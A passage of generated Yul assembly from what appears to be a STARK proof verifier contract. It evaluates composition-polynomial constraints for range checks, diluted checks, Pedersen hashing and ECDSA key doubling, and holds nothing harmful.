sub(PRIME, /*rc16/perm/interaction_elm*/ mload(0x1c0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[41].
res := addmod(res,
mulmod(val, /*coefficients[41]*/ mload(0xa60), PRIME),
PRIME)
}
{
// Constraint expression for rc16/perm/step0: (rc16/perm/interaction_elm - column5_row6) * column9_inter1_row5 - (rc16/perm/interaction_elm - column5_row4) * column9_inter1_row1.
let val := addmod(
mulmod(
addmod(
/*rc16/perm/interaction_elm*/ mload(0x1c0),
sub(PRIME, /*column5_row6*/ mload(0x21c0)),
PRIME),
/*column9_inter1_row5*/ mload(0x2ba0),
PRIME),
sub(
PRIME,
mulmod(
addmod(
/*rc16/perm/interaction_elm*/ mload(0x1c0),
sub(PRIME, /*column5_row4*/ mload(0x2180)),
PRIME),
/*column9_inter1_row1*/ mload(0x2b60),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(4 * (trace_length / 4 - 1)).
// val *= numerators[3].
val := mulmod(val, mload(0x3c40), PRIME)
// Denominator: point^(trace_length / 4) - 1.
// val *= denominator_invs[7].
val := mulmod(val, mload(0x3680), PRIME)
// res += val * coefficients[42].
res := addmod(res,
mulmod(val, /*coefficients[42]*/ mload(0xa80), PRIME),
PRIME)
}
{
// Constraint expression for rc16/perm/last: column9_inter1_row1 - rc16/perm/public_memory_prod.
let val := addmod(
/*column9_inter1_row1*/ mload(0x2b60),
sub(PRIME, /*rc16/perm/public_memory_prod*/ mload(0x1e0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(4 * (trace_length / 4 - 1)).
// val *= denominator_invs[8].
val := mulmod(val, mload(0x36a0), PRIME)
// res += val * coefficients[43].
res := addmod(res,
mulmod(val, /*coefficients[43]*/ mload(0xaa0), PRIME),
PRIME)
}
{
// Constraint expression for rc16/diff_is_bit: rc16__diff_0 * rc16__diff_0 - rc16__diff_0.
let val := addmod(
mulmod(
/*intermediate_value/rc16/diff_0*/ mload(0x2e60),
/*intermediate_value/rc16/diff_0*/ mload(0x2e60),
PRIME),
sub(PRIME, /*intermediate_value/rc16/diff_0*/ mload(0x2e60)),
PRIME)
// Numerator: point - trace_generator^(4 * (trace_length / 4 - 1)).
// val *= numerators[3].
val := mulmod(val, mload(0x3c40), PRIME)
// Denominator: point^(trace_length / 4) - 1.
// val *= denominator_invs[7].
val := mulmod(val, mload(0x3680), PRIME)
// res += val * coefficients[44].
res := addmod(res,
mulmod(val, /*coefficients[44]*/ mload(0xac0), PRIME),
PRIME)
}
{
// Constraint expression for rc16/minimum: column5_row2 - rc_min.
let val := addmod(/*column5_row2*/ mload(0x2140), sub(PRIME, /*rc_min*/ mload(0x200)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[45].
res := addmod(res,
mulmod(val, /*coefficients[45]*/ mload(0xae0), PRIME),
PRIME)
}
{
// Constraint expression for rc16/maximum: column5_row2 - rc_max.
let val := addmod(/*column5_row2*/ mload(0x2140), sub(PRIME, /*rc_max*/ mload(0x220)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(4 * (trace_length / 4 - 1)).
// val *= denominator_invs[8].
val := mulmod(val, mload(0x36a0), PRIME)
// res += val * coefficients[46].
res := addmod(res,
mulmod(val, /*coefficients[46]*/ mload(0xb00), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/permutation/init0: (diluted_check/permutation/interaction_elm - column2_row0) * column8_inter1_row0 + column1_row0 - diluted_check/permutation/interaction_elm.
let val := addmod(
addmod(
mulmod(
addmod(
/*diluted_check/permutation/interaction_elm*/ mload(0x240),
sub(PRIME, /*column2_row0*/ mload(0x1be0)),
PRIME),
/*column8_inter1_row0*/ mload(0x2b00),
PRIME),
/*column1_row0*/ mload(0x1800),
PRIME),
sub(PRIME, /*diluted_check/permutation/interaction_elm*/ mload(0x240)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[47].
res := addmod(res,
mulmod(val, /*coefficients[47]*/ mload(0xb20), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/permutation/step0: (diluted_check/permutation/interaction_elm - column2_row1) * column8_inter1_row1 - (diluted_check/permutation/interaction_elm - column1_row1) * column8_inter1_row0.
let val := addmod(
mulmod(
addmod(
/*diluted_check/permutation/interaction_elm*/ mload(0x240),
sub(PRIME, /*column2_row1*/ mload(0x1c00)),
PRIME),
/*column8_inter1_row1*/ mload(0x2b20),
PRIME),
sub(
PRIME,
mulmod(
addmod(
/*diluted_check/permutation/interaction_elm*/ mload(0x240),
sub(PRIME, /*column1_row1*/ mload(0x1820)),
PRIME),
/*column8_inter1_row0*/ mload(0x2b00),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(trace_length - 1).
// val *= numerators[4].
val := mulmod(val, mload(0x3c60), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x35a0), PRIME)
// res += val * coefficients[48].
res := addmod(res,
mulmod(val, /*coefficients[48]*/ mload(0xb40), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/permutation/last: column8_inter1_row0 - diluted_check/permutation/public_memory_prod.
let val := addmod(
/*column8_inter1_row0*/ mload(0x2b00),
sub(PRIME, /*diluted_check/permutation/public_memory_prod*/ mload(0x260)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(trace_length - 1).
// val *= denominator_invs[9].
val := mulmod(val, mload(0x36c0), PRIME)
// res += val * coefficients[49].
res := addmod(res,
mulmod(val, /*coefficients[49]*/ mload(0xb60), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/init: column7_inter1_row0 - 1.
let val := addmod(/*column7_inter1_row0*/ mload(0x2ac0), sub(PRIME, 1), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[50].
res := addmod(res,
mulmod(val, /*coefficients[50]*/ mload(0xb80), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/first_element: column2_row0 - diluted_check/first_elm.
let val := addmod(
/*column2_row0*/ mload(0x1be0),
sub(PRIME, /*diluted_check/first_elm*/ mload(0x280)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[51].
res := addmod(res,
mulmod(val, /*coefficients[51]*/ mload(0xba0), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/step: column7_inter1_row1 - (column7_inter1_row0 * (1 + diluted_check/interaction_z * (column2_row1 - column2_row0)) + diluted_check/interaction_alpha * (column2_row1 - column2_row0) * (column2_row1 - column2_row0)).
let val := addmod(
/*column7_inter1_row1*/ mload(0x2ae0),
sub(
PRIME,
addmod(
mulmod(
/*column7_inter1_row0*/ mload(0x2ac0),
addmod(
1,
mulmod(
/*diluted_check/interaction_z*/ mload(0x2a0),
addmod(/*column2_row1*/ mload(0x1c00), sub(PRIME, /*column2_row0*/ mload(0x1be0)), PRIME),
PRIME),
PRIME),
PRIME),
mulmod(
mulmod(
/*diluted_check/interaction_alpha*/ mload(0x2c0),
addmod(/*column2_row1*/ mload(0x1c00), sub(PRIME, /*column2_row0*/ mload(0x1be0)), PRIME),
PRIME),
addmod(/*column2_row1*/ mload(0x1c00), sub(PRIME, /*column2_row0*/ mload(0x1be0)), PRIME),
PRIME),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(trace_length - 1).
// val *= numerators[4].
val := mulmod(val, mload(0x3c60), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x35a0), PRIME)
// res += val * coefficients[52].
res := addmod(res,
mulmod(val, /*coefficients[52]*/ mload(0xbc0), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/last: column7_inter1_row0 - diluted_check/final_cum_val.
let val := addmod(
/*column7_inter1_row0*/ mload(0x2ac0),
sub(PRIME, /*diluted_check/final_cum_val*/ mload(0x2e0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(trace_length - 1).
// val *= denominator_invs[9].
val := mulmod(val, mload(0x36c0), PRIME)
// res += val * coefficients[53].
res := addmod(res,
mulmod(val, /*coefficients[53]*/ mload(0xbe0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/last_one_is_zero: column6_row45 * (column5_row7 - (column5_row15 + column5_row15)).
let val := mulmod(
/*column6_row45*/ mload(0x2800),
addmod(
/*column5_row7*/ mload(0x21e0),
sub(
PRIME,
addmod(/*column5_row15*/ mload(0x2280), /*column5_row15*/ mload(0x2280), PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[54].
res := addmod(res,
mulmod(val, /*coefficients[54]*/ mload(0xc00), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones0: column6_row45 * (column5_row15 - 3138550867693340381917894711603833208051177722232017256448 * column5_row1543).
let val := mulmod(
/*column6_row45*/ mload(0x2800),
addmod(
/*column5_row15*/ mload(0x2280),
sub(
PRIME,
mulmod(
3138550867693340381917894711603833208051177722232017256448,
/*column5_row1543*/ mload(0x2380),
PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[55].
res := addmod(res,
mulmod(val, /*coefficients[55]*/ mload(0xc20), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit192: column6_row45 - column5_row2043 * (column5_row1543 - (column5_row1551 + column5_row1551)).
let val := addmod(
/*column6_row45*/ mload(0x2800),
sub(
PRIME,
mulmod(
/*column5_row2043*/ mload(0x2460),
addmod(
/*column5_row1543*/ mload(0x2380),
sub(
PRIME,
addmod(/*column5_row1551*/ mload(0x23a0), /*column5_row1551*/ mload(0x23a0), PRIME)),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[56].
res := addmod(res,
mulmod(val, /*coefficients[56]*/ mload(0xc40), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones192: column5_row2043 * (column5_row1551 - 8 * column5_row1575).
let val := mulmod(
/*column5_row2043*/ mload(0x2460),
addmod(
/*column5_row1551*/ mload(0x23a0),
sub(PRIME, mulmod(8, /*column5_row1575*/ mload(0x23c0), PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[57].
res := addmod(res,
mulmod(val, /*coefficients[57]*/ mload(0xc60), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit196: column5_row2043 - (column5_row2015 - (column5_row2023 + column5_row2023)) * (column5_row1575 - (column5_row1583 + column5_row1583)).
let val := addmod(
/*column5_row2043*/ mload(0x2460),
sub(
PRIME,
mulmod(
addmod(
/*column5_row2015*/ mload(0x2400),
sub(
PRIME,
addmod(/*column5_row2023*/ mload(0x2420), /*column5_row2023*/ mload(0x2420), PRIME)),
PRIME),
addmod(
/*column5_row1575*/ mload(0x23c0),
sub(
PRIME,
addmod(/*column5_row1583*/ mload(0x23e0), /*column5_row1583*/ mload(0x23e0), PRIME)),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[58].
res := addmod(res,
mulmod(val, /*coefficients[58]*/ mload(0xc80), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones196: (column5_row2015 - (column5_row2023 + column5_row2023)) * (column5_row1583 - 18014398509481984 * column5_row2015).
let val := mulmod(
addmod(
/*column5_row2015*/ mload(0x2400),
sub(
PRIME,
addmod(/*column5_row2023*/ mload(0x2420), /*column5_row2023*/ mload(0x2420), PRIME)),
PRIME),
addmod(
/*column5_row1583*/ mload(0x23e0),
sub(PRIME, mulmod(18014398509481984, /*column5_row2015*/ mload(0x2400), PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[59].
res := addmod(res,
mulmod(val, /*coefficients[59]*/ mload(0xca0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/booleanity_test: pedersen__hash0__ec_subset_sum__bit_0 * (pedersen__hash0__ec_subset_sum__bit_0 - 1).
let val := mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x2e80),
addmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x2e80),
sub(PRIME, 1),
PRIME),
PRIME)
// Numerator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= numerators[5].
val := mulmod(val, mload(0x3c80), PRIME)
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[11].
val := mulmod(val, mload(0x3700), PRIME)
// res += val * coefficients[60].
res := addmod(res,
mulmod(val, /*coefficients[60]*/ mload(0xcc0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_extraction_end: column5_row7.
let val := /*column5_row7*/ mload(0x21e0)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - trace_generator^(63 * trace_length / 64).
// val *= denominator_invs[12].
val := mulmod(val, mload(0x3720), PRIME)
// res += val * coefficients[61].
res := addmod(res,
mulmod(val, /*coefficients[61]*/ mload(0xce0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/zeros_tail: column5_row7.
let val := /*column5_row7*/ mload(0x21e0)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= denominator_invs[13].
val := mulmod(val, mload(0x3740), PRIME)
// res += val * coefficients[62].
res := addmod(res,
mulmod(val, /*coefficients[62]*/ mload(0xd00), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/add_points/slope: pedersen__hash0__ec_subset_sum__bit_0 * (column5_row5 - pedersen__points__y) - column5_row3 * (column5_row1 - pedersen__points__x).
let val := addmod(
mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x2e80),
addmod(
/*column5_row5*/ mload(0x21a0),
sub(PRIME, /*periodic_column/pedersen/points/y*/ mload(0x20)),
PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column5_row3*/ mload(0x2160),
addmod(
/*column5_row1*/ mload(0x2120),
sub(PRIME, /*periodic_column/pedersen/points/x*/ mload(0x0)),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= numerators[5].
val := mulmod(val, mload(0x3c80), PRIME)
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[11].
val := mulmod(val, mload(0x3700), PRIME)
// res += val * coefficients[63].
res := addmod(res,
mulmod(val, /*coefficients[63]*/ mload(0xd20), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/add_points/x: column5_row3 * column5_row3 - pedersen__hash0__ec_subset_sum__bit_0 * (column5_row1 + pedersen__points__x + column5_row9).
let val := addmod(
mulmod(/*column5_row3*/ mload(0x2160), /*column5_row3*/ mload(0x2160), PRIME),
sub(
PRIME,
mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x2e80),
addmod(
addmod(
/*column5_row1*/ mload(0x2120),
/*periodic_column/pedersen/points/x*/ mload(0x0),
PRIME),
/*column5_row9*/ mload(0x2220),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= numerators[5].
val := mulmod(val, mload(0x3c80), PRIME)
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[11].
val := mulmod(val, mload(0x3700), PRIME)
// res += val * coefficients[64].
res := addmod(res,
mulmod(val, /*coefficients[64]*/ mload(0xd40), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/add_points/y: pedersen__hash0__ec_subset_sum__bit_0 * (column5_row5 + column5_row13) - column5_row3 * (column5_row1 - column5_row9).
let val := addmod(
mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x2e80),
addmod(/*column5_row5*/ mload(0x21a0), /*column5_row13*/ mload(0x2260), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column5_row3*/ mload(0x2160),
addmod(/*column5_row1*/ mload(0x2120), sub(PRIME, /*column5_row9*/ mload(0x2220)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= numerators[5].
val := mulmod(val, mload(0x3c80), PRIME)
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[11].
val := mulmod(val, mload(0x3700), PRIME)
// res += val * coefficients[65].
res := addmod(res,
mulmod(val, /*coefficients[65]*/ mload(0xd60), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/copy_point/x: pedersen__hash0__ec_subset_sum__bit_neg_0 * (column5_row9 - column5_row1).
let val := mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_neg_0*/ mload(0x2ea0),
addmod(/*column5_row9*/ mload(0x2220), sub(PRIME, /*column5_row1*/ mload(0x2120)), PRIME),
PRIME)
// Numerator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= numerators[5].
val := mulmod(val, mload(0x3c80), PRIME)
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[11].
val := mulmod(val, mload(0x3700), PRIME)
// res += val * coefficients[66].
res := addmod(res,
mulmod(val, /*coefficients[66]*/ mload(0xd80), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/copy_point/y: pedersen__hash0__ec_subset_sum__bit_neg_0 * (column5_row13 - column5_row5).
let val := mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_neg_0*/ mload(0x2ea0),
addmod(/*column5_row13*/ mload(0x2260), sub(PRIME, /*column5_row5*/ mload(0x21a0)), PRIME),
PRIME)
// Numerator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= numerators[5].
val := mulmod(val, mload(0x3c80), PRIME)
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[11].
val := mulmod(val, mload(0x3700), PRIME)
// res += val * coefficients[67].
res := addmod(res,
mulmod(val, /*coefficients[67]*/ mload(0xda0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/copy_point/x: column5_row2049 - column5_row2041.
let val := addmod(
/*column5_row2049*/ mload(0x24a0),
sub(PRIME, /*column5_row2041*/ mload(0x2440)),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(trace_length / 2).
// val *= numerators[6].
val := mulmod(val, mload(0x3ca0), PRIME)
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[68].
res := addmod(res,
mulmod(val, /*coefficients[68]*/ mload(0xdc0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/copy_point/y: column5_row2053 - column5_row2045.
let val := addmod(
/*column5_row2053*/ mload(0x24c0),
sub(PRIME, /*column5_row2045*/ mload(0x2480)),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(trace_length / 2).
// val *= numerators[6].
val := mulmod(val, mload(0x3ca0), PRIME)
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[69].
res := addmod(res,
mulmod(val, /*coefficients[69]*/ mload(0xde0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/init/x: column5_row1 - pedersen/shift_point.x.
let val := addmod(
/*column5_row1*/ mload(0x2120),
sub(PRIME, /*pedersen/shift_point.x*/ mload(0x300)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[70].
res := addmod(res,
mulmod(val, /*coefficients[70]*/ mload(0xe00), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/init/y: column5_row5 - pedersen/shift_point.y.
let val := addmod(
/*column5_row5*/ mload(0x21a0),
sub(PRIME, /*pedersen/shift_point.y*/ mload(0x320)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[71].
res := addmod(res,
mulmod(val, /*coefficients[71]*/ mload(0xe20), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input0_value0: column3_row11 - column5_row7.
let val := addmod(/*column3_row11*/ mload(0x1d40), sub(PRIME, /*column5_row7*/ mload(0x21e0)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[72].
res := addmod(res,
mulmod(val, /*coefficients[72]*/ mload(0xe40), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input0_addr: column3_row4106 - (column3_row1034 + 1).
let val := addmod(
/*column3_row4106*/ mload(0x2000),
sub(PRIME, addmod(/*column3_row1034*/ mload(0x1f40), 1, PRIME)),
PRIME)
// Numerator: point - trace_generator^(4096 * (trace_length / 4096 - 1)).
// val *= numerators[7].
val := mulmod(val, mload(0x3cc0), PRIME)
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[73].
res := addmod(res,
mulmod(val, /*coefficients[73]*/ mload(0xe60), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/init_addr: column3_row10 - initial_pedersen_addr.
let val := addmod(
/*column3_row10*/ mload(0x1d20),
sub(PRIME, /*initial_pedersen_addr*/ mload(0x340)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[74].
res := addmod(res,
mulmod(val, /*coefficients[74]*/ mload(0xe80), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input1_value0: column3_row2059 - column5_row2055.
let val := addmod(
/*column3_row2059*/ mload(0x1fa0),
sub(PRIME, /*column5_row2055*/ mload(0x24e0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[75].
res := addmod(res,
mulmod(val, /*coefficients[75]*/ mload(0xea0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input1_addr: column3_row2058 - (column3_row10 + 1).
let val := addmod(
/*column3_row2058*/ mload(0x1f80),
sub(PRIME, addmod(/*column3_row10*/ mload(0x1d20), 1, PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[76].
res := addmod(res,
mulmod(val, /*coefficients[76]*/ mload(0xec0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/output_value0: column3_row1035 - column5_row4089.
let val := addmod(
/*column3_row1035*/ mload(0x1f60),
sub(PRIME, /*column5_row4089*/ mload(0x2500)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[77].
res := addmod(res,
mulmod(val, /*coefficients[77]*/ mload(0xee0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/output_addr: column3_row1034 - (column3_row2058 + 1).
let val := addmod(
/*column3_row1034*/ mload(0x1f40),
sub(PRIME, addmod(/*column3_row2058*/ mload(0x1f80), 1, PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[78].
res := addmod(res,
mulmod(val, /*coefficients[78]*/ mload(0xf00), PRIME),
PRIME)
}
{
// Constraint expression for rc_builtin/value: rc_builtin__value7_0 - column3_row75.
let val := addmod(
/*intermediate_value/rc_builtin/value7_0*/ mload(0x2fa0),
sub(PRIME, /*column3_row75*/ mload(0x1e80)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[79].
res := addmod(res,
mulmod(val, /*coefficients[79]*/ mload(0xf20), PRIME),
PRIME)
}
{
// Constraint expression for rc_builtin/addr_step: column3_row202 - (column3_row74 + 1).
let val := addmod(
/*column3_row202*/ mload(0x1f20),
sub(PRIME, addmod(/*column3_row74*/ mload(0x1e60), 1, PRIME)),
PRIME)
// Numerator: point - trace_generator^(128 * (trace_length / 128 - 1)).
// val *= numerators[8].
val := mulmod(val, mload(0x3ce0), PRIME)
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[80].
res := addmod(res,
mulmod(val, /*coefficients[80]*/ mload(0xf40), PRIME),
PRIME)
}
{
// Constraint expression for rc_builtin/init_addr: column3_row74 - initial_rc_addr.
let val := addmod(
/*column3_row74*/ mload(0x1e60),
sub(PRIME, /*initial_rc_addr*/ mload(0x360)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[81].
res := addmod(res,
mulmod(val, /*coefficients[81]*/ mload(0xf60), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/doubling_key/slope: ecdsa__signature0__doubling_key__x_squared + ecdsa__signature0__doubling_key__x_squared + ecdsa__signature0__doubling_key__x_squared + ecdsa/sig_config.alpha - (column6_row22 + column6_row22) * column6_row14.
let val := addmod(
addmod(
addmod(
addmod(
/*intermediate_value/ecdsa/signature0/doubling_key/x_squared*/ mload(0x2fc0),
/*intermediate_value/ecdsa/signature0/doubling_key/x_squared*/ mload(0x2fc0),
PRIME),
/*intermediate_value/ecdsa/signature0/doubling_key/x_squared*/ mload(0x2fc0),
PRIME),
/*ecdsa/sig_config.alpha*/ mload(0x380),
PRIME),
sub(
PRIME,
mulmod(
addmod(/*column6_row22*/ mload(0x2700), /*column6_row22*/ mload(0x2700), PRIME),
/*column6_row14*/ mload(0x2680),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[82].
res := addmod(res,
mulmod(val, /*coefficients[82]*/ mload(0xf80), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/doubling_key/x: column6_row14 * column6_row14 - (column6_row6 + column6_row6 + column6_row38).
let val := addmod(
mulmod(/*column6_row14*/ mload(0x2680), /*column6_row14*/ mload(0x2680), PRIME),
sub(
PRIME,
addmod(
addmod(/*column6_row6*/ mload(0x25c0), /*column6_row6*/ mload(0x25c0), PRIME),
/*column6_row38*/ mload(0x27c0),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
